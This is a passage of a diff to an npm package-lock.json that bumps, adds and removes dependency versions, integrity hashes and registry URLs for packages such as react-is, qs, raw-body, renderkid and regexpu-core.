"resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-3.6.0.tgz", + "integrity": "sha512-BViHy7LKeTz4oNnkcLJ+lVSL6vpiFeX6/d3oSH8zCW7UxP2onchk+vTGB143xuFjHS3deTgkKoXXymXqymiIdA==", + "dev": true, + "requires": { + "inherits": "^2.0.3", + "string_decoder": "^1.1.1", + "util-deprecate": "^1.0.1" + } + }, + "safe-buffer": { + "version": "5.2.1", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.2.1.tgz", + "integrity": "sha512-rp3So07KcdmmKbGvgaNxQSJr7bGVSVk5S9Eq1F+ppbRo70+YeaDxkw5Dd8NPN+GD6bjnYm2VuPuCXmpuYvmCXQ==", + "dev": true + }, + "string_decoder": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/string_decoder/-/string_decoder-1.3.0.tgz", + "integrity": "sha512-hkRX8U1WjJFd8LsDJ2yQ/wWWxaopEsABU1XfkM8A+j0+85JAGppt16cr1Whg6KIbb4okU6Mql6BOj+uup/wKeA==", + "dev": true, + "requires": { + "safe-buffer": "~5.2.0" + } + } } }, "postcss-less": { @@ -10587,47 +25877,6 @@ "integrity": "sha1-J7Ocb02U+Bsac7j3Y1HGCeXO8kQ=", "dev": true }, - "postcss-modules-extract-imports": { - "version": "2.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-extract-imports/-/postcss-modules-extract-imports-2.0.0.tgz", - "integrity": "sha512-LaYLDNS4SG8Q5WAWqIJgdHPJrDDr/Lv775rMBFUbgjTz6j34lUznACHcdRWroPvXANP2Vj7yNK57vp9eFqzLWQ==", - "dev": true, - "requires": { - "postcss": "^7.0.5" - } - }, - "postcss-modules-local-by-default": { - "version": "3.0.3", - "resolved": "https://registry.npmjs.org/postcss-modules-local-by-default/-/postcss-modules-local-by-default-3.0.3.tgz", - "integrity": "sha512-e3xDq+LotiGesympRlKNgaJ0PCzoUIdpH0dj47iWAui/kyTgh3CiAr1qP54uodmJhl6p9rN6BoNcdEDVJx9RDw==", - "dev": true, - "requires": { - "icss-utils": "^4.1.1", - "postcss": "^7.0.32", - "postcss-selector-parser": "^6.0.2", - "postcss-value-parser": "^4.1.0" - } - }, - "postcss-modules-scope": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/postcss-modules-scope/-/postcss-modules-scope-2.2.0.tgz", - "integrity": "sha512-YyEgsTMRpNd+HmyC7H/mh3y+MeFWevy7V1evVhJWewmMbjDHIbZbOXICC2y+m1xI1UVfIT1HMW/O04Hxyu9oXQ==", - "dev": true, - "requires": { - "postcss": "^7.0.6", - "postcss-selector-parser": "^6.0.0" - } - }, - "postcss-modules-values": { - "version": "3.0.0", - "resolved": "https://registry.npmjs.org/postcss-modules-values/-/postcss-modules-values-3.0.0.tgz", - "integrity": "sha512-1//E5jCBrZ9DmRX+zCtmQtRSV6PV42Ix7Bzj9GbwJceduuf7IqP8MgeTXuRDHOWj2m0VzZD5+roFWDuU8RQjcg==", - "dev": true, - "requires": { - "icss-utils": "^4.0.0", - "postcss": "^7.0.6" - } - }, "postcss-resolve-nested-selector": { "version": "0.1.1", "resolved": "https://registry.npmjs.org/postcss-resolve-nested-selector/-/postcss-resolve-nested-selector-0.1.1.tgz", @@ -10663,14 +25912,12 @@ } }, "postcss-selector-parser": { - "version": "6.0.4", - "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.4.tgz", - "integrity": "sha512-gjMeXBempyInaBqpp8gODmwZ52WaYsVOsfr4L4lDQ7n3ncD6mEyySiDtgzCT+NYC0mmeOLvtsF8iaEf0YT6dBw==", + "version": "6.0.10", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.10.tgz", + "integrity": "sha512-IQ7TZdoaqbT+LCpShg46jnZVlhWD2w6iQYAcYXfHARZ7X1t/UGhhceQDs5X0cGqKvYlHNOuv7Oa1xmb0oQuA3w==", "dev": true, "requires": { "cssesc": "^3.0.0", - "indexes-of": "^1.0.1", - "uniq": "^1.0.1", "util-deprecate": "^1.0.2" } }, @@ -10678,12 +25925,13 @@ "version": "0.36.2", "resolved": "https://registry.npmjs.org/postcss-syntax/-/postcss-syntax-0.36.2.tgz", "integrity": "sha512-nBRg/i7E3SOHWxF3PpF5WnJM/jQ1YpY9000OaVXlAQj6Zp/kIqJxEDWIZ67tAd7NLuk7zqN4yqe9nc0oNAOs1w==", - "dev": true + "dev": true, + "requires": {} }, "postcss-value-parser": { - "version": "4.1.0", - "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.1.0.tgz", - "integrity": "sha512-97DXOFbQJhk71ne5/Mt6cOu6yxsSfM0QGQyl0L25Gca4yGWEGJaig7l7gbCX623VqTBNGLRLaVUCnNkcedlRSQ==", + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", "dev": true }, "prelude-ls": { @@ -10693,13 +25941,13 @@ "dev": true }, "pretty-error": { - "version": "3.0.4", - "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-3.0.4.tgz", - "integrity": "sha512-ytLFLfv1So4AO1UkoBF6GXQgJRaKbiSiGFICaOPNwQ3CMvBvXpLRubeQWyPGnsbV/t9ml9qto6IeCsho0aEvwQ==", + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/pretty-error/-/pretty-error-4.0.0.tgz", + "integrity": "sha512-AoJ5YMAcXKYxKhuJGdcvse+Voc6v1RgnsR3nWcYU7q4t6z0Q6T86sv5Zq8VIRbOWWFpvdGE83LtdSMNd+6Y0xw==", "dev": true, "requires": { "lodash": "^4.17.20", - "renderkid": "^2.0.6" + "renderkid": "^3.0.0" } }, "pretty-format": { @@ -10714,12 +25962,6 @@ "react-is": "^17.0.1" }, "dependencies": { - "ansi-regex": { - "version": "5.0.1", - "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", - "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", - "dev": true - }, "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", @@ -10743,12 +25985,6 @@ "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", "dev": true - }, - "react-is": { - "version": "17.0.2", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", - "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==", - "dev": true } } }, @@ -10784,13 +26020,20 @@ } }, "prop-types": { - "version": "15.7.2", - "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.7.2.tgz", - "integrity": "sha512-8QQikdH7//R2vurIJSutZ1smHYTcLpRWEOlHnzcWHmBYrOGUysKwSsrC89BCiFj3CbrfJ/nXFdJepOVrY1GCHQ==", + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", "requires": { "loose-envify": "^1.4.0", "object-assign": "^4.1.1", - "react-is": "^16.8.1" + "react-is": "^16.13.1" + }, + "dependencies": { + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + } } }, "prop-types-extra": { @@ -10800,6 +26043,13 @@ "requires": { "react-is": "^16.3.2", "warning": "^4.0.0" + }, + "dependencies": { + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + } } }, "proxy-addr": { @@ -10820,12 +26070,6 @@ } } }, - "prr": { - "version": "1.0.1", - "resolved": "https://registry.npmjs.org/prr/-/prr-1.0.1.tgz", - "integrity": "sha1-0/wRS6BplaRexok/SEzrHXj19HY=", - "dev": true - }, "psl": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/psl/-/psl-1.8.0.tgz", @@ -10842,15 +26086,9 @@ "integrity": "sha1-H+Bk+wrIUfDeYTIKi/eWg2Qi8z4=" }, "qs": { - "version": "6.7.0", - "resolved": "https://registry.npmjs.org/qs/-/qs-6.7.0.tgz", - "integrity": "sha512-VCdBRNFTX1fyE7Nb6FYoURo/SPe62QCaAyzJvUjwRaIsc+NePBEniHlvxFmmX56+HZphIGtV0XeCirBtpDrTyQ==", - "dev": true - }, - "querystring": { - "version": "0.2.0", - "resolved": "https://registry.npmjs.org/querystring/-/querystring-0.2.0.tgz", - "integrity": "sha1-sgmEkgO7Jd+CDadW50cAWHhSFiA=", + "version": "6.9.7", + "resolved": "https://registry.npmjs.org/qs/-/qs-6.9.7.tgz", + "integrity": "sha512-IhMFgUmuNpyRfxA90umL7ByLlgRXu6tIfKPpF5TmcfRLlLCckfP/g3IQmju6jjpu+Hh8rA+2p6A27ZSPOOHdKw==", "dev": true }, "queue-microtask": { @@ -10882,7 +26120,6 @@ "version": "2.1.0", "resolved": "https://registry.npmjs.org/randombytes/-/randombytes-2.1.0.tgz", "integrity": "sha512-vYl3iOX+4CKUWuxGi9Ukhie6fsqXqS9FE2Zaic4tNFD2N2QQaXOMFbuKK4QmDHC0JO6B1Zp41J0LpT0oR68amQ==", - "dev": true, "requires": { "safe-buffer": "^5.1.0" } @@ -10894,21 +26131,21 @@ "dev": true }, "raw-body": { - "version": "2.4.0", - "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.0.tgz", - "integrity": "sha512-4Oz8DUIwdvoa5qMJelxipzi/iJIi40O5cGV1wNYp5hvZP8ZN0T+jiNkL0QepXs+EsQ9XJ8ipEDoiH70ySUJP3Q==", + "version": "2.4.3", + "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.4.3.tgz", + "integrity": "sha512-UlTNLIcu0uzb4D2f4WltY6cVjLi+/jEN4lgEUj3E04tpMDpUlkBo/eSn6zou9hum2VMNpCCUone0O0WeJim07g==", "dev": true, "requires": { - "bytes": "3.1.0", - "http-errors": "1.7.2", + "bytes": "3.1.2", + "http-errors": "1.8.1", "iconv-lite": "0.4.24", "unpipe": "1.0.0" }, "dependencies": { "bytes": { - "version": "3.1.0", - "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.0.tgz", - "integrity": "sha512-zauLjrfCG+xvoyaqLoV8bLVXXNGC4JqlxFCutSDWA6fJrTo2ZuvLYTqZ7aHBLZSMOopbzwv8f+wZcVzfVTI2Dg==", + "version": "3.1.2", + "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.1.2.tgz", + "integrity": "sha512-/Nf7TyzTx6S3yRJObOAV7956r8cr2+Oj8AC5dt8wSP3BQAoeX58NoHyCU8P8zGkNXStjTSi6fzO6F0pBdcYbEg==", "dev": true } } @@ -10932,12 +26169,6 @@ "prop-types": "^15.6.2" } }, - "react-addons-test-utils": { - "version": "15.6.2", - "resolved": "https://registry.npmjs.org/react-addons-test-utils/-/react-addons-test-utils-15.6.2.tgz", - "integrity": "sha1-wStu/cIkfBDae4dw0YUICnsEcVY=", - "dev": true - }, "react-base16-styling": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/react-base16-styling/-/react-base16-styling-0.7.0.tgz", @@ -11053,7 +26284,8 @@ "react-filepond": { "version": "7.1.1", "resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.1.1.tgz", - "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==" + "integrity": "sha512-6Szyi3zY4AEiSlE5rztJov/xIDB107Sv31MctDoSutdLinMqmbMej6kJ2MtSGzAhsP2+h8cDDr51mdHNXt97Yw==", + "requires": {} }, "react-graph-vis": { "version": "1.0.7", @@ -11065,6 +26297,13 @@ "uuid": "^2.0.1", "vis-data": "^7.1.2", "vis-network": "^9.0.0" + }, + "dependencies": { + "uuid": { + "version": "2.0.3", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-2.0.3.tgz", + "integrity": "sha1-Z+LoY3lyFVMN/zGOW/nc6/1Hsho=" + } } }, "react-hot-loader": { @@ -11082,6 +26321,24 @@ "source-map": "^0.7.3" }, "dependencies": { + "json5": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.1.tgz", + "integrity": "sha512-aKS4WQjPenRxiQsC93MNfjx+nbF4PAdYzmd/1JIj8HYzqfbu86beTuNgXDzPknWk0n0uARlyewZo4s++ES36Ow==", + "requires": { + "minimist": "^1.2.0" + } + }, + "loader-utils": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/loader-utils/-/loader-utils-1.4.0.tgz", + "integrity": "sha512-qH0WSMBtn/oHuwjy/NucEgbx5dbxxnxup9s4PVXJUDHZBQY+s0NWA9rJf53RBnQZxfch7euUui7hpoAPvALZdA==", + "requires": { + "big.js": "^5.2.2", + "emojis-list": "^3.0.0", + "json5": "^1.0.1" + } + }, "source-map": { "version": "0.7.3", "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.3.tgz", @@ -11090,9 +26347,9 @@ } }, "react-is": { - "version": "16.13.1", - "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", - "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + "version": "17.0.2", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-17.0.2.tgz", + "integrity": "sha512-w2GsyukL62IJnlaff/nRegPQR94C/XXamvMWmSHRJ4y7Ts/4ocGRmTHvOs8PSE6pB3dWOrD/nueuU5sduBsQ4w==" }, "react-json-tree": { "version": "0.12.1", @@ -11123,9 +26380,14 @@ }, "dependencies": { "core-js": { - "version": "2.6.11", - "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.11.tgz", - "integrity": "sha512-5wjnpaT/3dV+XB4borEsnAYQchn00XSgTAWKDkEqv+K8KevjbzmofK6hfJ9TZIlpj2N0xQpazy7PiRQiWHqzWg==" + "version": "2.6.12", + "resolved": "https://registry.npmjs.org/core-js/-/core-js-2.6.12.tgz", + "integrity": "sha512-Kb2wC0fvsWfQrgk8HU5lW6U/Lcs8+9aaYcy4ZFc6DDlo4nZ7n70dEgE5rtR0oG6ufKDUnrwfWL1mXR5ljDatrQ==" + }, + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" } } }, @@ -11149,14 +26411,6 @@ "warning": "^4.0.3" } }, - "react-particles-js": { - "version": "3.5.3", - "resolved": "https://registry.npmjs.org/react-particles-js/-/react-particles-js-3.5.3.tgz", - "integrity": "sha512-e9GWBT51WDtPkcaSy0ZLUAT93lBzDvuqrfW81NOf6G69XSurgCtVy4+ZYpUCnLhZgkokzsjrhtVOSj1FxPVyEw==", - "requires": { - "lodash": "^4.17.11" - } - }, "react-redux": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/react-redux/-/react-redux-5.1.2.tgz", @@ -11169,6 +26423,13 @@ "prop-types": "^15.6.1", "react-is": "^16.6.0", "react-lifecycles-compat": "^3.0.0" + }, + "dependencies": { + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + } } }, "react-router": { @@ -11186,6 +26447,13 @@ "react-is": "^16.6.0", "tiny-invariant": "^1.0.2", "tiny-warning": "^1.0.0" + }, + "dependencies": { + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + } } }, "react-router-dom": { @@ -11232,22 +26500,21 @@ "@types/react-table": "^6.8.5", "classnames": "^2.2.5", "react-is": "^16.8.1" + }, + "dependencies": { + "react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + } } }, "react-to-print": { - "version": "2.13.0", - "resolved": "https://registry.npmjs.org/react-to-print/-/react-to-print-2.13.0.tgz", - "integrity": "sha512-JMX+HrMtBXWDh2ohPT2IeBkaGY4QpFeloXTXBA7hBK7dXJQei/UXMvQqbZHb0rqJwzAHltZ2zXevuSK/ReKI5w==", + "version": "2.14.5", + "resolved": "https://registry.npmjs.org/react-to-print/-/react-to-print-2.14.5.tgz", + "integrity": "sha512-FeFBo4oRscVNiuw9/qET3RHOArN5wo1z0skzABdzFaxZNIy6FM8beJyBHxYWsiQ92M6Dv2To9Fp03Gve02GS5A==", "requires": { - "prop-types": "^15.7.2" - } - }, - "react-toggle": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/react-toggle/-/react-toggle-4.1.2.tgz", - "integrity": "sha512-4Ohw31TuYQdhWfA6qlKafeXx3IOH7t4ZHhmRdwsm1fQREwOBGxJT+I22sgHqR/w8JRdk+AeMCJXPImEFSrNXow==", - "requires": { - "classnames": "^2.2.5" + "prop-types": "^15.8.1" } }, "react-tooltip-lite": { @@ -11269,6 +26536,15 @@ "prop-types": "^15.6.2" } }, + "react-tsparticles": { + "version": "1.43.0", + "resolved": "https://registry.npmjs.org/react-tsparticles/-/react-tsparticles-1.43.0.tgz", + "integrity": "sha512-JzNG8GGopVkmsS4/f/qKSOEMyb6gIuGS+wn/GHSdlo5vzTFj53DCXQFM9k2XlPOSzoULkQ6/VEk/1WOL/UWazA==", + "requires": { + "fast-deep-equal": "^3.1.3", + "tsparticles": "^1.43.0" + } + }, "react-virtualized": { "version": "9.22.3", "resolved": "https://registry.npmjs.org/react-virtualized/-/react-virtualized-9.22.3.tgz", @@ -11312,6 +26588,12 @@ "validate-npm-package-license": "^3.0.1" } }, + "semver": { + "version": "5.7.1", + "resolved": "https://registry.npmjs.org/semver/-/semver-5.7.1.tgz", + "integrity": "sha512-sauaDf/PZdVgrLTNYHRtpXa1iRiKcaebiKQ1BJdpQlWH2lCvexQdX55snPFyK7QzpudqbCI0qXFfOasHdyNDGQ==", + "dev": true + }, "type-fest": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.6.0.tgz", @@ -11329,21 +26611,26 @@ "find-up": "^4.1.0", "read-pkg": "^5.2.0", "type-fest": "^0.8.1" + }, + "dependencies": { + "type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true + } } }, "readable-stream": { - "version": "2.3.7", - "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-2.3.7.tgz", - "integrity": "sha512-Ebho8K4jIbHAxnuxi7o42OrZgF/ZTNcsZj6nRKyUmkhLFq8CHItp/fy6hQZuZmP/n3yZ9VBUbp4zz/mX8hmYPw==", + "version": "1.0.34", + "resolved": "https://registry.npmjs.org/readable-stream/-/readable-stream-1.0.34.tgz", + "integrity": "sha1-Elgg40vIQtLyqq+v5MKRbuMsFXw=", "dev": true, "requires": { "core-util-is": "~1.0.0", - "inherits": "~2.0.3", - "isarray": "~1.0.0", - "process-nextick-args": "~2.0.0", - "safe-buffer": "~5.1.1", - "string_decoder": "~1.1.1", - "util-deprecate": "~1.0.1" + "inherits": "~2.0.1", + "isarray": "0.0.1", + "string_decoder": "~0.10.x" } }, "readdirp": { @@ -11395,9 +26682,9 @@ } }, "redux": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/redux/-/redux-4.1.1.tgz", - "integrity": "sha512-hZQZdDEM25UY2P493kPYuKqviVwZ58lEmGQNeQ+gXa+U0gYPUBf7NKYazbe3m+bs/DzM/ahN12DbF+NG8i0CWw==", + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/redux/-/redux-4.1.2.tgz", + "integrity": "sha512-SH8PglcebESbd/shgf6mii6EIoRM0zrQyjcuQ+ojmfxjTtE0z9Y8pa62iA/OJ58qjP6j27uyW4kUF4jl/jd6sw==", "requires": { "@babel/runtime": "^7.9.2" } @@ -11409,18 +26696,18 @@ "dev": true }, "regenerate-unicode-properties": { - "version": "9.0.0", - "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-9.0.0.tgz", - "integrity": "sha512-3E12UeNSPfjrgwjkR81m5J7Aw/T55Tu7nUyZVQYCKEOs+2dkxEY+DpPtZzO4YruuiPb7NkYLVcyJC4+zCbk5pA==", + "version": "10.0.1", + "resolved": "https://registry.npmjs.org/regenerate-unicode-properties/-/regenerate-unicode-properties-10.0.1.tgz", + "integrity": "sha512-vn5DU6yg6h8hP/2OkQo3K7uVILvY4iu0oI4t3HFa81UPkhGJwkRwM10JEc3upjdhHjs/k8GJY1sRBhk5sr69Bw==", "dev": true, "requires": { "regenerate": "^1.4.2" } }, "regenerator-runtime": { - "version": "0.13.5", - "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.5.tgz", - "integrity": "sha512-ZS5w8CpKFinUzOwW3c83oPeVXoNsrLsaCoLtJvAClH135j/R77RuymhiSErhm2lKcwSCIpmvIWSbDkIfAqKQlA==" + "version": "0.13.9", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.9.tgz", + "integrity": "sha512-p3VT+cOEgxFsRRA9X4lkI1E+k2/CtnKtU4gcxyaCUreilL/vqI6CdZ3wxVUx3UOUg+gnUOQQcRI7BmSI656MYA==" }, "regenerator-transform": { "version": "0.14.5", @@ -11432,9 +26719,9 @@ } }, "regexp.prototype.flags": { - "version": "1.3.1", - "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.3.1.tgz", - "integrity": "sha512-JiBdRBq91WlY7uRJ0ds7R+dU02i6LKi8r3BuQhNXn+kmeLN+EfHhfjqMRis1zJxnlu88hq/4dx0P2OP3APRTOA==", + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/regexp.prototype.flags/-/regexp.prototype.flags-1.4.1.tgz", + "integrity": "sha512-pMR7hBVUUGI7PMA37m2ofIdQCsomVnas+Jn5UPGAHQ+/LlwKm/aTLJHdasmHRzlfeZwHiAOaRSo2rbBDm3nNUQ==", "dev": true, "requires": { "call-bind": "^1.0.2", @@ -11448,29 +26735,29 @@ "dev": true }, "regexpu-core": { - "version": "4.8.0", - "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-4.8.0.tgz", - "integrity": "sha512-1F6bYsoYiz6is+oz70NWur2Vlh9KWtswuRuzJOfeYUrfPX2o8n74AnUVaOGDbUqVGO9fNHu48/pjJO4sNVwsOg==", + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/regexpu-core/-/regexpu-core-5.0.1.tgz", + "integrity": "sha512-CriEZlrKK9VJw/xQGJpQM5rY88BtuL8DM+AEwvcThHilbxiTAy8vq4iJnd2tqq8wLmjbGZzP7ZcKFjbGkmEFrw==", "dev": true, "requires": { "regenerate": "^1.4.2", - "regenerate-unicode-properties": "^9.0.0", - "regjsgen": "^0.5.2", - "regjsparser": "^0.7.0", + "regenerate-unicode-properties": "^10.0.1", + "regjsgen": "^0.6.0", + "regjsparser": "^0.8.2", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.0.0" } }, "regjsgen": { - "version": "0.5.2", - "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.5.2.tgz", - "integrity": "sha512-OFFT3MfrH90xIW8OOSyUrk6QHD5E9JOTeGodiJeBS3J6IwlgzJMNE/1bZklWz5oTg+9dCMyEetclvCVXOPoN3A==", + "version": "0.6.0", + "resolved": "https://registry.npmjs.org/regjsgen/-/regjsgen-0.6.0.tgz", + "integrity": "sha512-ozE883Uigtqj3bx7OhL1KNbCzGyW2NQZPl6Hs09WTvCuZD5sTI4JY58bkbQWa/Y9hxIsvJ3M8Nbf7j54IqeZbA==", "dev": true }, "regjsparser": { - "version": "0.7.0", - "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.7.0.tgz", - "integrity": "sha512-A4pcaORqmNMDVwUjWoTzuhwMGpP+NykpfqAsEgI1FSH/EzC7lrN5TMd+kN8YCovX+jMpu8eaqXgXPCa0g8FQNQ==", + "version": "0.8.4", + "resolved": "https://registry.npmjs.org/regjsparser/-/regjsparser-0.8.4.tgz", + "integrity": "sha512-J3LABycON/VNEu3abOviqGHuB/LOtOQj8SKmfP9anY5GfAVw/SPjwzSjxGjbZXIxbGfqTHtJw58C2Li/WkStmA==", "dev": true, "requires": { "jsesc": "~0.5.0" @@ -11520,65 +26807,25 @@ } }, "renderkid": { - "version": "2.0.7", - "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-2.0.7.tgz", - "integrity": "sha512-oCcFyxaMrKsKcTY59qnCAtmDVSLfPbrv6A3tVbPdFMMrv5jaK10V6m40cKsoPNhAqN6rmHW9sswW4o3ruSrwUQ==", + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/renderkid/-/renderkid-3.0.0.tgz", + "integrity": "sha512-q/7VIQA8lmM1hF+jn+sFSPWGlMkSAeNYcPLmDQx2zzuiDfaLrOmumR8iaUKlenFgh0XRPIUeSPlH3A+AW3Z5pg==", "dev": true, "requires": { "css-select": "^4.1.3", "dom-converter": "^0.2.0", "htmlparser2": "^6.1.0", "lodash": "^4.17.21", - "strip-ansi": "^3.0.1" + "strip-ansi": "^6.0.1" }, "dependencies": { - "dom-serializer": { - "version": "1.3.2", - "resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.2.tgz", - "integrity": "sha512-5c54Bk5Dw4qAxNOI1pFEizPSjVsx5+bpJKmL2kPn8JhBUq2q09tTCa3mjijun2NfK78NMouDYNMBkOrPZiS+ig==", + "strip-ansi": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", + "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "dev": true, "requires": { - "domelementtype": "^2.0.1", - "domhandler": "^4.2.0", - "entities": "^2.0.0" - } - }, - "domelementtype": { - "version": "2.2.0", - "resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz", - "integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A==", - "dev": true - }, - "domhandler": { - "version": "4.2.2", - "resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.2.2.tgz", - "integrity": "sha512-PzE9aBMsdZO8TK4BnuJwH0QT41wgMbRzuZrHUcpYncEjmQazq8QEaBWgLG7ZyC/DAZKEgglpIA6j4Qn/HmxS3w==", - "dev": true, - "requires": { - "domelementtype": "^2.2.0" - } - }, - "domutils": { - "version": "2.8.0", - "resolved": "https://registry.npmjs.org/domutils/-/domutils-2.8.0.tgz", - "integrity": "sha512-w96Cjofp72M5IIhpjgobBimYEfoPjx1Vx0BSX9P30WBdZW2WIKU0T1Bd0kz2eNZ9ikjKgHbEyKx8BB6H1L3h3A==", - "dev": true, - "requires": { - "dom-serializer": "^1.0.1", - "domelementtype": "^2.2.0", - "domhandler": "^4.2.0" - } - }, - "htmlparser2": { - "version": "6.1.0", - "resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-6.1.0.tgz", - "integrity": "sha512-gyyPk6rgonLFEDGoeRgQNaEUvdJ4ktTmmUh/h2t7s+M8oPpIPxgNACWa+6ESR57kXstwqPiCut0V8NRpcwgU7A==", - "dev": true, - "requires": { - "domelementtype": "^2.0.1", - "domhandler": "^4.0.0", - "domutils": "^2.5.2", - "entities": "^2.0.0" + "ansi-regex": "^5.0.1" } } } @@ -11608,11 +26855,13 @@ "dev": true }, "resolve": { - "version": "1.17.0", - "resolved": 